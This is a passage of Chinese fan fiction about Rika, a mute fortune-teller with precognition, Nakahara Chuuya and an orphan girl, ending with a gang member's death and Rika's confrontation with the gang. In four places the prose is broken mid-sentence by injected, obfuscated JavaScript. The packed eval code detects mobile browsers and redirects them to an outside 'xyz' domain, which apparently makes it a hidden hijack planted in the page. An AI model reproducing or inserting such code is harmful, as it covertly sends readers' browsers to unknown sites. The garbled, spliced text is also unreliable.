她不久前高烧发的来势汹汹,其实也不只是因为重感冒,在医院能够养好身体也并不只是得益于医疗条件,而是长期处于昏迷状态让梨花暂时屏蔽掉了那些多余的信息。而这次“大病一场”后,梨花对自己的能力也再次有了新的领悟,她发现可以有意识的对自己进行心理暗示,从而调控能力的使用。 但尽管如此,她现在仍然做不到彻底关掉自己的能力,而是时刻生活在概率之中。 “西比拉大人,请你帮我算算今天刚丢的项链能不能找到吧,还有对山田学长的暗恋到底什么时候才能开花结果吧!拜托了!” 在大型商场充斥着各种小吃摊与卖饰品、卖小物件或美甲等的特色小店的地下一层商业街,每逢午休或下班放学时间,附近的学生与上班族来来往往。而在一个相对僻静又靠近安全出口的角落,有一个挂着深紫色绒布帘子的隔间,门口则放着一个简约的木质立牌,上面用清秀的字体写着——“西比拉的启示屋”。两个高中生模样的女生马上走进去,其中一个叽叽喳喳地就开始询问起关于学业考试和暗恋对象的心意。 坐在里面的人身材娇小,披着一件深色兜帽斗篷,宽大帽檐遮住了她大半张脸,只露出一小块儿的下巴,她的样子实在不禁令人怀疑到底有没有成年。 然而经过一周有所间断的营业,来这求占卜的学生已经对她相当信服。 隔间不大,只容得下一张铺着星空图案桌布的桌子和三把椅子,桌上放着一个看上去像玻璃工艺制品的水晶球、一副塔罗牌,摆在她面前的一沓便签本和一支黑笔,还有似乎并不该出现在这的电子计算器。 戴着兜帽的梨花听完诉求后微微颔首,没有说话,只是伸手指了指对面的空椅让她们先坐下。然后她的气质就忽然变得更加神秘莫测起来,从容地洗了洗塔罗,让刚才说话的女生抽牌。但尽管梨花的动作意外流畅,实际上……她压根就不懂得塔罗占卜。 总之一套占卜流程下来后,梨花拿起笔在便签上写到:【根据牌面显示和星辰轨迹的推算,你的项链不用刻意寻找,自然就会再次出现,因为实际上它并没有丢。至于那位姓山田的学长,他注意到你的可能性目前低于30%,建议先从共同兴趣小组入手】 虽然有人很疑惑她为什么不说话,但这种通过便签写字的传达方式却仿佛也带着一种不容置疑的近乎数学定理般的冷静和准确,何况还套着占卜的神秘外壳。那两个女生果然听得两眼放光,连连点头,仿佛听到了什么至理名言,心满意足地就付了钱。 这当然是因为梨花的占卜足够准,早就在附近的少部分学生之间传开。梨花的预测当然准确,不过她也只接待附近学生有关学业、恋爱、人际关系的这些生活上的琐碎烦恼。毕竟有人肯定会问,她有这种能力为什么不直接去买彩票,或是去抽奖…… 但说梨花自以为是也罢,她始终觉得未来预测这种能力是不能乱用的。在很久以前,羊最初的组建成员中也有一个人肯定过她这样的想法——那个女孩曾对她说,“我知道了,梨花能够拥有这种能力的原因,未来预测果然是只有梨花才能持有的能力。” 想到往事,梨花兜帽下那双雪青色的眼眸有些黯淡。最近在这里占卜的工作其实让她久违的感受到一点成就感,甚至是自己能力的意义。毕竟在擂钵街,她一直太过顾忌不要招惹事端,大有些“以武为忌”的意思。但在这里,她只是为附近的学生解决日常小事,反而并不会被城市的暗面给盯上。 当然,有的学生甚至来让梨花给画考试的重点!这种要求她虽然真能做到,但却肯定不会同意,就只能以能力不够推辞。 梨花很快就赚够了还给中原中也的钱,只是最近一直没机会交给他,直到有一天,他带着一个大概五岁的女孩再次出现在她面前。女孩神情恹恹,看起来非常不安。 “她是……?” “她是一个被遗弃在港口的孤儿,沙耶捡回她,原本想着让羊收留……可团里多数人却嫌她太小,不能干什么,不愿意收留。” 中原中也一边解释,一边流露出不满却又无奈的神色。他对羊至今一直保有极大的归属感和包容心,不仅因为他将他们视为同伴,还因为羊愿意接收擂钵街许多需要帮助的未成年人这一原则。就像当年无家可归的他忽然出现在街头,被羊收留一样。 然而不知道从什么时候开始,就连这一点都变了味儿,像光夏这种年龄太过幼小、没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360931|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么劳动能力的孩子,他们不再愿意接纳,而是嫌弃其没有足够的贡献价值。 梨花迅速就理解了大致情况,露出思考的神色,片刻后接着开口,“……福利院?” 中原中也摇了摇头,什么都没说,只是神色有些凝重的摘下了完全包住这女孩儿头发的贝雷帽。散落开来的是一头酒红的半长发,是如红酒一般醇厚美丽的颜色。 红发的孩子。 正如港口Mafia发布的绞杀令一般。 “这孩子的名字是光夏,应该就是因为红发才被遗弃的,因为传闻港口Mafia不仅会把红发的孩子找出来杀掉,还会祸及家人。福利院也不愿意收留,怕招惹麻烦上门。”其实羊倒不怕什么港口Mafia,反而还热衷于对着干,他们只是单纯嫌弃光夏做不了什么。 中原中也也并没有带着光夏投奔梨花的意思,只是暂时抽不开身。这孩子现在离不开他,而让她一个人中原中也也并不放心,于是只能干什么都带着,碰巧遇到梨花。 “那个……我饿了。” 光夏拽了拽中也的衣角,试探出声。 于是他们身处的场所马上就换成了大黑码头附近的一家西饼店。两个看起来最多只有国中一年级的孩子带着一个更小的孩子,分坐餐桌两侧的沙发,而餐桌上摆着的甜品则仿佛成了一幅充满甜蜜的油画调色盘。 覆盆子巧克力塔深红的浆果在黑巧克力上凝结着糖霜,仿佛红宝石镶嵌在黑丝绒中。抹茶千层蛋糕切面露出深浅不一的绿,酝酿出春的清新色调。芒果奶油泡芙蓬松欲裂,金黄的芒果粒从酥皮裂缝中探出头,散发热带果香。旁边的骨瓷碟里,焦糖布丁微微颤动,实在让梨花看着就觉得喜人。 刚端上来的水晶碗里的杨枝甘露似乎还浮着碎冰,西柚果肉悬浮在椰奶中,薄荷叶上的糖霜正随着冰雾慢慢融化。 远处刚出炉的蜂蜜面包送来诱人的香气,空气中到处都是甜腻的味道。 “我说,其实不是你的能力需要补充糖分和热量,是你本人就很喜欢吃吧?” 中原中也显然被这一桌子点单的夸张排场有点震惊到,忍不住发出吐槽。 连光夏似乎都一时忘记了苦闷,坐在梨花旁边享用起来,无论几岁的女性似乎都大多抗拒不了这些卖相非常精致的甜品。 “吃多了小心蛀牙哦。” 然而梨花只是轻轻白了他一眼。 反倒是光夏听了后有些悻悻地停顿下餐叉,赭橘发的少年原本将手臂放到桌子上、用手撑住脸,见状只能松开,然后无奈叹了口气,“不过偶尔多吃点没关系的。” 斜照的阳光穿过窗户,在亚麻桌布上投下光斑,仿佛连时光都想停驻在这一刻。然而就像摩天轮轮转不停,他们的时间,他们的未来,终究还是要继续前进铺展开来。 5. 更迭季 跟着填补肚子后,中原中也大概也替光夏想好了前路。对川濑光夏来说,最好的去处终究还是福利院,倘若横滨不行,那大不了就去横滨的外面。只不过光夏对于去到其他陌生的城市,似乎感到非常恐惧。 发觉光夏的不安,梨花忽然拿出刚才占卜用过的便签写到,【不用担心,禁令过两个月就会解除的,光夏就可以回家了】 然而大致看懂意思的光夏非但没有放松,反而表现出了异常强烈、甚至有些过度的抗拒。头戴贝雷帽、本该性格有些软弱的女孩,此时目光里却充满无法退让一步的固执,像是幼兽的嘶鸣一般,“我不要回家!他们都不要我了……我还回去干什么?!” 她的眼神中是怨恨、绝不原谅。 无论是中也还是梨花,他们都没有父母,在他们的概念中,对“父母”其实也并没有多少温情的憧憬。只不过倘若放在光夏身上考虑,他们认为父母终究意味着一种更靠近“正常人”的生活。然而梨花却一时没有想到,这个年纪的孩子已经进入认知敏感期,在短短几天内被迫迅速成熟起来的光夏,她有自己的情感、而那更驱动着她的判断力。 “……对不起。” 梨花将手轻轻抚上光夏的头,只是她的手却似乎有一种无处安放的感觉,中原中也头一次见梨花流露出来那种无措的神色。 “不过你说的禁令过两个月会解除……” “那是怎么回事?” 中原中也有些在意的问道。 梨花却摇摇头,她针对光夏这一个体的未来进行预测,现在能看到的也只有这个结果,具体是什么原因导致这一结果或许还是需要从其他方向入手。不过梨花猜测,应该是港口Mafia内部发生什么事所导致的。 横滨这个时期的暴乱残酷在光夏这样一个五岁的孩子身上体现得淋漓尽致,只因为港口Mafia那该死的“狩猎红发”禁令,就让她的家人觉得她是个随时会招致灭顶之灾的累赘。而或许是出于愧疚,又或许觉得她就像只可怜的受惊流浪小猫,梨花主动短暂收留了光夏,她的秘密基地也又多了一个住户。 另一方面,就是因为最近横滨不太平,所以中原中也也很忙碌,不仅要应对日常的争斗、寻找物资,还要时刻警惕来自港口Mafia底层成员可能带来的麻烦,并约束羊的成员在这敏感时期不要主动惹事。他虽然说要暂时离开羊一段时间,但实际上该做的事却一件没少。不是万不得已的情况下,他不会麻烦梨花来照看光夏,不过真交给梨花,他倒也放下心,因为就算梨花没什么战斗能力,可是却能提前规避所有的风险。 其实最初的时候,光夏和梨花待在一起时还是有些害怕,没有和中原中也在一起时那样的安全感。但很快她就发现梨花的奇异之处,梨花所说的每一句话总是很准。 只不过,有一件事…… “你,无聊吗?” 光夏很听话,通常就待在阁楼上,梨花不带她出去,她就绝对不乱跑。但这也就意味着这个年龄的孩子很容易陷入无聊的境地,而梨花的做法是搬来了一摞厚厚的书。 5岁孩子看不了斯图尔特微积分吧? 但她还是如此充满天真的渴望问道,“梨花姐姐……看了这个就能和你一样知道未来会发生什么了吗?那我愿意跟你学。” 对这个问题,梨花陷入了一瞬的恍惚,因为她已经遗忘自己从何时开始能看见那些具现化的数字,到底是能力造就了她、还是她造就了能力,连这都是尚未可知的问题。 但是…… 梨花垂下眼睑,对半长的红发已经被她用半永久染发剂给染成了栗色的女孩低声说道,“看见未来……并不、一定是好事。” 光夏显然不相信,“为什么呢?能看见未来多好啊,连去哪里能捡到钱都知道,而且能看见未来的话,做事也不会出错了。” 对此,梨花只是沉默的在演算本上写到,【倘若有些未来,注定不会改变呢?】 似乎想要让光夏彻底放弃并不值得的憧憬,梨花继续飞速写了一长串的话,【如果你有一个朋友,你知道她会生病,尽管你提前告诉她,也陪她用尽了各种办法去预防这个病,实在不行还陪她治病,可她最后还是死了,这不是让两个人都感到很痛苦吗?】 如果不知道未来,他们反而还能好好度过疾病发生前的时间,而且这样的话,对知道朋友未来的那个人来说,简直就像失去了朋友两次。这就是观测未来者的孤独…… 很多事,光夏还是不太懂,在她心中能够看见未来这样奇妙的事还是好处更多。但她现在却也懵懵懂懂的明白了,能够看见未来也并非全然都是好事,她甚至还凭借着一种小孩子的直觉继续问道:“梨花姐姐……” “你是不是真有那样一个朋友啊?” 一个多月的时光飞速逝去,天气变得更凉,梨花打算带着光夏再去买几件换季的衣服。这段时间里,横滨那些不见光地带的气氛越来越紧张、越来越波涛汹涌,而梨花的预言则如同一个倒计时,悬挂在平静日常之上,横滨的黑夜终将要被新的火焰点燃。 港口Mafia大厦的最顶层,一场早已被预言的血色更迭,正在无人知晓的黑暗中悄然上演。红月高悬于窗外,将房间内的一切蒙上一层不祥的绯色,恍惚化作冰冷的刀锋。 一霎间,鲜血溅起,染红了床单。 也染红了那轮窗外的红月。 身着白色医师袍的黑发男人,面对着眼前躺在病床上、形如枯槁的老者,忽然转头说道: “首领刚才已因病猝死,留下了要传位于我的遗言,你就是公证人……没问题吧?” 透出略微不安暗红的夜幕的落地窗前,有一位鸢发少年静静站立,他的一只眼睛被医疗绷带所蒙住,只是站在那里不发一语。 …… ”梨花姐姐,不是说好了最近要去商场购物吗,都好几天了,为什么还不去呀?”这丫头大概是已经和梨花混熟了,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360932|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨花看书的时候也敢来晃她的胳膊,还撒起了娇。 但那双始终专注于书页的雪青色眼眸却不为所动,梨花平稳的继续翻开下一页,开口淡淡的说了一句,“……最近不太平。” 光夏忍不住噘了撅嘴,继续央求的问道:“那中也哥哥呢?他好久都没过来看我了,有他一起出去的话就什么都不怕了吧?” 闻言梨花却是一下就将书本合上,忍不住发出一声无言的冷笑,“……他?” 现在恐怕是忙着呢。 尽管已经该被称之为“前任”的港口Mafia首领病死了,但权力的更迭或许能将那让横滨血流不止的暴政停下,混乱却无法那么轻易平息,反而愈演愈烈。新旧势力交替的真空期,成了各路鬣狗嗅探撕咬的绝佳时机。 比如连羊都不再满足于镭钵街的方寸之地,想要向着横滨的黄金地段占据扩张,梨花都能想象出白濑站在废弃仓库的集装箱上挥舞手臂的样子,声音因激动而尖利,“港口Mafia那群疯狗现在自身难保!这是我们最好的机会——横滨的势力该大洗牌了!” 底下十几个核心成员发出兴奋的喧哗,白濑见状,立马恨不得再浇上一把油,接着说道,“而且这次行动,中也他同意了!” 他这话倒没骗人,因为中原中也的确同意了这次扩张的方针。擂钵街的环境太差了,如果时机合适,哪怕只为同伴们的生活考虑,也谁都不会甘心龟缩于此。何况港口Mafia这段时间不合常理的暴政,他们这段时间对横滨所做的事,以及光夏的遭遇…… 都是中原中也无法原谅的。 不过虽说是同意这样的方针,中原中也可并没有赞成他们什么手段都使,然而短短数日,羊的成员们却开始强行占据港区附近几条商业街,他们无差别恐吓商户,勒索保护费,小规模的冲突时有发生,但仗着中原中也的威名和逐渐膨胀的野心,他们确实暂时占据了几处油水较为丰厚的地盘。 【这些都是你的指示?】 “当然不是!” 光夏终于如愿等来了她的中也哥哥,令人闻风丧胆的重力操控现在只不过成为了让小孩子的玩具漂浮起来的存在。赭橘发的少年随意坐在梨花的桌案上,对梨花的所言感到不可置信,郁闷说道,“难怪他们最近那么讲道理,我还以为是真的转性子了……” 【他们今天会在大黑码头和高濑会起冲突,不想有人出事就快去收拾烂摊子吧】 羊都知道在这个时候趁机扩张,那么其他港口Mafia的敌对势力更不会放过。高濑会一直觊觎着港口Mafia的地盘和生意,是以走私和放贷为主业的激进组织。白濑他们今天打算拿下的地方,恐怕也被高濑会看中了。 放下验算本,梨花忽然站起身来。光夏察觉到她要做什么,顿时惊喜,“哇,梨花姐姐,我们现在也可以一起出去吗?!” “你不是,要去逛商场吗?” 现在总算变成没风险的好时机了。 6. PDA 大黑码头商业街的冲突已经持续了几天,羊的少年们凭借着新获得的枪械和“羊之王”的威名强行占据了这片油水丰厚的区域,与原先在此地收取高额保护费的高濑会发生了激烈冲突。枪声时有响起,有的商户也紧闭门户,整片街道上显得一片狼藉。 中原中也站在街角,现在冲突已经因为他的到来而基本结束,他看着几个羊的成员趾高气扬地巡逻,眉头紧锁。他们有些人的策略越来越激进,已经完全不听他的劝阻。 “中也哥哥!”光夏的声音从身后传来,她正被梨花牵着手,身上背着一个帆布背包。女孩重新恢复原本酒红发色的头发扎成两个低马尾,看起来比刚来时活泼了许多。 梨花没说什么,她觉得中原中也或许还有事要处理,就要先带光夏去别处逛。但中原中也看了看已经相对平静下来的街道,还是说道:“……喂,我跟你们一起去吧。” 商业街虽经历了冲突,但仍有一些店铺冒险开业,毕竟大家还是要做生意、要讨生活。梨花牵着光夏,目光冷静地扫过街道,今天出现在她眼中的那些惹眼概率,不知道为什么,总给她一种不太安定的感觉。光夏则好奇地东张西望,对一切充满新鲜感。 路过一家电器行时,橱窗里悬挂的电视机正在播放娱乐节目。屏幕上出现了一个优雅俊美的年轻男性,正微笑着接受采访。 “是那个晨间剧的演员!”尽管刚“劫后余生”,一个咖啡店的服务生还是拉着自己的同事小姐妹兴奋讨论起来,“他真的好帅啊!而且我听说,他来头儿也很神秘呢!” 中原中也瞥了一眼屏幕,撇撇嘴:“港口Mafia的人,居然能这么招摇地上电视。” 梨花却停下脚步,看着屏幕上那个游刃有余、谈吐得体的男人,雪青色的眼眸中则是闪过不易察觉的复杂光芒。因为那副完美的言语能力,与她形成了鲜明到残酷的对比,而她就是为此才选择今日出来。 就在这时,梨花的目光被电器行隔壁一家数码产品店橱窗里展示的一款新型号、似乎叫做“PDA”的东西吸引了。 那是一款带有小型折叠键盘的设备,屏幕比普通的翻盖手机大上不少,但看起来还是相对精悍小巧。梨花在那一刻立即就想到了便携性和文字输入效率等等东西……比起她一直使用的消耗性的纸笔,这台设备简直是跨越时代的进步,如果用它来打字与人交流,速度和便捷性都会比写字好得多。 她不由自主地走近橱窗,目光紧紧锁定在那台PDA上,难道这就是她出门前预言所指向的——今天她的语言障碍能得到解决? 她梨花看了一眼标价牌,又在心里轻轻摇了摇头,她带来的现金不够,远远不够。 数码店的老板是个精明的中年人,注意到这个气质不凡的安静少女后立马笑着走出来:“小姐好眼光,这是最新型号,处理器很快,能做很多计算,下载多种软件呢。” 梨花沉默了一下,忽然抬头看向老板,在便签本上飞速就写好:【我的钱暂时不够,不过我可以帮你获得翻倍营业额。】 老板原本愣住了,欲言又止,但随后看到原本带着光夏去买了街头摊车的可丽饼、现在向梨花身侧走过来的中原中也立马瞳孔猛地一缩。他知道羊的成员都戴着蓝色的手环,所以就并没有将梨花往那边想! “行、咳咳,既然如此,你就将它拿走吧!”一边说着,简直像赶走什么灾祸般。 梨花不是傻子,马上明白了他在害怕什么,然而那与她却无关。她兀自走进店里,根据指导手册开始进行操作学习,因为她从前基本从没有接触过这些电子产品。 不出十分钟,她用键盘打字的速度就已经相当流畅了,还懂得了所有基本软件的操作使用,之后她接过了老板递来的库存清单和近期销售记录等,快速地翻阅起来。 中原中也挑了挑眉,将一切了然于心,尽管光夏在旁边缠着问他“为什么不进去”,但他当然不会进去给梨花“添乱”。 他看着店内的女孩迅速沉浸于新事物的身影,阳光透过港口街道的尘埃,柔和地洒在她沉浸的侧脸,那一刻,平日里的冷漠抗拒一切似乎融化了些许,流露出一种独属于她的纯粹专注。她在PDA里也开始快速输入一系列数字,然后留下一串建议:哪些产品该促销、哪些该提价,何时怎样进货最优,甚至如何布置橱窗能最大程度吸引顾客。 老板将信将疑地看着,但随着看她的讲解,他的眼睛越来越亮。这些建议精准巧妙得可怕,完全不像一个少女能想到的。 “太厉害了!”老板惊喜道,“就按您说的办!这台PDA你拿去吧,差价就当咨询费了!”完全忘记了自己刚刚送瘟神的态度。 梨花拿着新到手的PDA走出门,脸上露出极少见的满足神情。中也早就带着光夏在外边等待,但光夏却等的有几分不耐烦了,而且已经累了,蹲在一旁,小口小口地吃着最后一点可丽饼,嘴角还沾着奶油。 “梨花姐姐,你终于出来了!” 梨花走过来,有些无奈的用手帕帮她将嘴角擦干净,中原中也看着这一幕,心中的烦乱思考与隐忧一时被扫清,只是莫名想到,或许梨花比她自以为的更加温柔…… 但就在这时,尖锐的呼救声打破了商业街短暂的平静!一个羊的成员,衣服上还带着血迹,跌跌撞撞地跑了过来,“高濑会的人……他们没有彻底离开,还偷袭了我们!” “翔平,怎么回事?” “沙耶她……沙耶她中枪了!” 中原中也的脸色瞬间变了:“什么?在哪里?!” “就、就在后面的仓库街!” 赭橘发少年周身瞬间爆发出恐怖的重力压迫,如同实质般让周围的空气都近乎凝滞了,话音未落,就已从原地弹起赶往仓库街的方向,只留下原地因恐惧而瘫软的那个羊的成员和脸色同样瞬间有点苍白的梨花。 沙耶也同样算是她的熟人,是羊刚存在不久后就加入进来的孩子。她为人善良,在羊中人缘也非常好,甚至光夏当初就是先被沙耶捡到、然后交给中也帮忙想办法的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360933|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是、是找到我的那个姐姐吗?” 连光夏都对可怜死去的沙耶有印象。 可为什么?为什么她偏偏没有预见到这样的事?沙耶今天竟然会死?如此重大的事件,却在她的预知中毫无征兆,因为她原本预见的未来已经因中也的插手而改变,至于变动后的未来……是因为从她看到PDA后注意力被集中、然后视野就窄化了的缘故吗? 不,绝不会这么简单! 她的能力,还有她许多不知道的地方。 梨花一时理不出头绪,只是身子下意识动起来,有中原中也在他们是不会有事的,于是她带上光夏一起,她要亲自去看看! 夕阳不知何时竟已即将沉入海平面,将港口上方的天空染成一片血色的橙红。羊的成员们在小巷围到一起,畏缩的沉默与压抑哭泣蔓延开来,在他们中间躺着一个人。 那个第一个发现光夏、总是默默分享食物、笑容腼腆、名叫“沙耶”的女孩,她的胸口有一个触目惊心的弹孔,鲜血染红了浅色衣服,身下地面的血迹已然有些凝固变暗。 她苍白的脸上还残留着惊愕,未合上的琥珀色眼眸空洞地望着横滨灰蒙蒙的天空。 白濑呆立在一旁,脸色同样惨白,身体后怕的发抖。当赭发少年的身影如同来自彼岸的神明般降临时,他像是被吓到一样向后退一步,但所有恐惧和慌乱也瞬间找到宣泄口,转化为尖锐的指责,直指中也:“……你为什么现在才来?!如果你早点来!如果你一直在!沙耶就不会——!都是你的错!!” 中原中也看着沙耶毫无生气的脸庞,看着那双曾经充满善意此刻却空洞无物的眼睛,巨大的悲痛和愤怒如同海啸般冲击着他。他几乎从不动用的拳头死死攥紧,在他的衣兜里指节因用力而发出咯吱声响,脚下的地面则因重力而发生显眼的龟裂。 “我警告过你们!”亮烈的少年声线,因极力压抑而显得嘶哑低沉,“我无数次警告过!不要擅自行动!不要以为有枪就能百无禁忌!不要主动挑衅别人,为什么不听?!为什么非要等到同伴付出生命的代价?!” “怪我们?!”白濑像是被彻底点燃,声音尖利得破音,“如果不是你整天和那个口吃的怪胎混在一起,对我们不闻不问!我们会需要靠自己吗?!我们会去抢那些枪吗?!” 他这话说出来其实连自己都不信,因为就算中原中也一直都待在羊,他们其实也会去抢夺枪械,实打实增强自身的依仗。但羊的成员们沉浸在失去同伴的巨大悲伤和后怕中,都被白濑的话语所煽动,纷纷将愤怒、怨恨、无助的目光投向中原中也。他承受着来自昔日同伴的怨恨,看着眼前沙耶冰冷的尸体,痛苦和无力感几乎要将他吞噬。 他张了张嘴,喉咙却像是被什么东西死死扼住,发不出任何声音。是他没能保护好他们?是他一时选择“逃避”的离开才导致了这一切?巨大的负罪感几乎要将他压垮。 就在这时,一个清冷而艰难的声音,试图穿透这狂乱的悲伤与指责:“够了!” 7. 咖喱饭 记忆的闸门猛地被冲开,将梨花拽回数年前那段在擂钵街更加泥泞的时光。那时羊才刚刚有了雏形,她在其中认识了一个女孩,她给自己起名,叫做“未来”。 她和梨花同龄,有着一头乱糟糟却总是努力扎起来的黑发,同样乌黑的眼睛亮亮的,像是对这残酷世界永远怀着愚蠢却温暖的期待。是她最先发现梨花总是独自缩在角落看书,也是她最先告诉其他的孩子,“梨花很厉害,听她的总是会有好事发生”。 “未来”,这个名字本身就像个遥远的奢望,但她却总笑着对梨花说:“没关系,梨花这么聪明,我们一定能看到更好的‘未来’!” 然而,梨花那时更有局限性的能力所看到的,却是未来自己短暂而遗憾的终局。光夏猜的其实并没有错,她的确曾经有那么一个朋友,就是未来,只不过未来并非死于疾病,而是死于其他突来的意外。她原本可以警告,然而用尽全身力气,喉咙里发出的却是不成调的音节,急得眼泪在眼眶里打转。 本来就说不清楚,因情急更没办法清晰地表达出那些复杂的状况和回避办法。其实那个未来本身就难以改变,但她还是尝试。 几个本就对梨花半信半疑的孩子围了上来,恐惧和悲伤转化成了无知的愤怒。 “都是你!她不是总听你的话吗?为什么还会死掉!” “乌鸦嘴!怪胎!是你害死了未来!” “连话都说不清楚!结巴!没用的结巴!” 辩解的话语尽数被堵死在喉咙深处,变成了更加破碎难辨的绝望呜咽。那天,她失去了名为“未来”的朋友,也仿佛更早就已经失去了拥有未来、并为之下注的勇气。 她主动切断与羊的脆弱联系,也是为了不再有这些无法言说的痛苦,不再有……注定逝去的温暖。而记忆的寒潮褪去,现在呈现于梨花眼前的是沙耶冰冷的尸体,赭橘发少年承受指责的痛苦背影,以及那些与记忆中如出一辙的、只会指责的丑恶嘴脸。 “口吃的怪胎!” “都是你的错!” 与此同时,梨花的脑海中闪电般掠过与中原中也独处时的片段——他提及羊时,那双钴蓝色眼眸中深藏的,即使失望也无法彻底割舍的归属感,他谈起那些不成熟的同伴时,语气里不易察觉的维护与无奈。 熟悉的词汇,熟悉的指控,熟悉的将悲剧归咎于想要守护之人的戏码。历史仿佛一个恶毒的循环,再次在她面前上演。一股早就压抑在心中的怒火猛地从梨花心底最深的伤口炸开。那并非简单的愤怒,而是一种更深的、它混合着保护欲与共情,最重要的是对过去自己的悔恨,巨大的心灵波动几乎犹如海啸,冲垮了常年禁锢她言语的堤坝。 “够了,愚蠢也要有个限度。” 梨花猛地向前一步,跨出了阴影,站在了中原中也的身侧,甚至稍稍靠前一点,以一种保护般的不容置疑姿态。 然后,她抬起头,雪青色的眼眸中不再是平日里的平静或疏离,而是燃烧着一种冰冷又炽烈的、又近乎乖戾的锐光。 她开口,声音竟然不再滞涩,不再迟疑,不再带有任何磕绊。那声音清冷又清晰,甚至带着一种不容置疑的傲慢与坚决:“你们以为自己为什么还能好好站在这里,是我告诉中也你们今天会擅自行动。” 一瞬间,全场死寂。 所有目光,包括中原中也震惊的视线,全都猛地聚焦在她身上。只不过中也略微有些感到不自然的是……那个往前半步、挡在别人身前的位置,一直都是自己来占据。 白濑张着嘴,像是被掐住了脖子,后面的话都卡在了喉咙里,脸上满是难以置信——她不是、她怎么会……?这不可能! 梨花却没有丝毫停顿,她的目光如同割人的刀子般锐利,逐一扫过那些目瞪口呆的羊的成员,“将同伴的死亡,归咎于另一个试图保护你们的人,这就是羊的逻辑吗?” 她的语速很快,逻辑清晰得可怕,仿佛早已在脑中演练过无数遍:“中也的离开,是因为你们的贪婪和短视已经践踏了他的底线,而不是因为我或任何外人。他甚至今天依旧出现在这里,替你们收拾残局!你们扪心自问,没有他,羊早已覆灭了多少次?” “至于那些枪械——”她的声音陡然变得更加冰冷,“你们真的以为,没有他,羊有能力夺取并守住那些东西?没有他,你们现在站着的这片地盘,能属于你们?没有他,你们今天损失的,绝对不止沙耶一个!” “你们依赖他的力量,却又嫉妒他的强大,享受他的庇护,却又怨恨他的约束。” 她微微扬起下巴,眼神里带着一种近乎残酷的怜悯和轻蔑,仿佛在看一群无可救药的蠢货:“白濑,你心里比谁都清楚……” “即使中也他时时刻刻都守在羊的基地,你们也依旧会去抢夺那些枪械。因为你渴望力量,却又无法依靠自己获得,于是只能怂恿他人,甚至不惜将整个组织拖入险境。沙耶的死,最大的责任人,就是你。” 清晰无比的话语,如同最锋利的冰锥,不仅刺穿了当下的虚伪,更揭开了旧日的伤疤。所有人都被这突如其来的一番话惊呆了,因为他们从未听过梨花说这么多话,更从未听过她用如此锐利又压迫的语气说话。 一些年资稍老的成员,似乎隐约想起了什么,脸色瞬间变得不正常的苍白。 白濑手指颤抖地指着梨花,羞愤和恐惧交织,让他几乎喘不过气:“你、你胡说……” “我是否胡说,你心里很清楚。” 梨花冷冷地打断他,不再看他,而是将目光转向地上沙耶的尸体,眼中闪过极淡的、仿佛跨越时空的哀伤,她的目光最后又落回到身旁的中原中也身上。那双钴蓝色的眼眸中,则充满了震惊与复杂,但他似乎从梨花的话语中,捕捉到了某些沉重的过往。 而梨花则是在后知后觉自己能流畅说话了才意识到,她预言的真实所指。这仿佛是预言能力的一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360934|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固有悖论,她的“预见”一直以来都绝非全知全能,越是与她自身情绪、关注点紧密关联的事件,越是可能因为自身的状态波动而产生偏差或延迟。 尤其是,她无法清晰地预见到那些会对自己造成巨大情感冲击的事件本身。这就像一个无法拉住自己的头发离开地面的人,她的能力在涉及自身重大情感转折的点上,存在着天然无法逾越的模糊地带。 沙耶的死亡,恰恰就是这样一个事件。它发生在身边,意味着死亡、背叛和指责,意味着将她再次卷入情感的风暴中心。 她的能力“知道”这一点。因此,关于此事的警示信号被淹没在了对新设备的专注,被屏蔽在了她为数码店做的商业计算中,更因为她自身潜意识或许都在回避预见这样一个会带来转变却支付巨大代价的未来。 直到此刻,她方才明白,这并非能力的失效,而是她作为“人”的局限性与她作为“预言者”的能力之间,客观存在着的矛盾。 “……先让沙耶安息吧。” 她最终只是轻轻留下了这句话,带着光夏在中也的身侧走过,只有光夏能感觉到,梨花的手指虽然冰凉,却仿佛带着一种奇异又坚定的,能够斩断过去枷锁的力量。 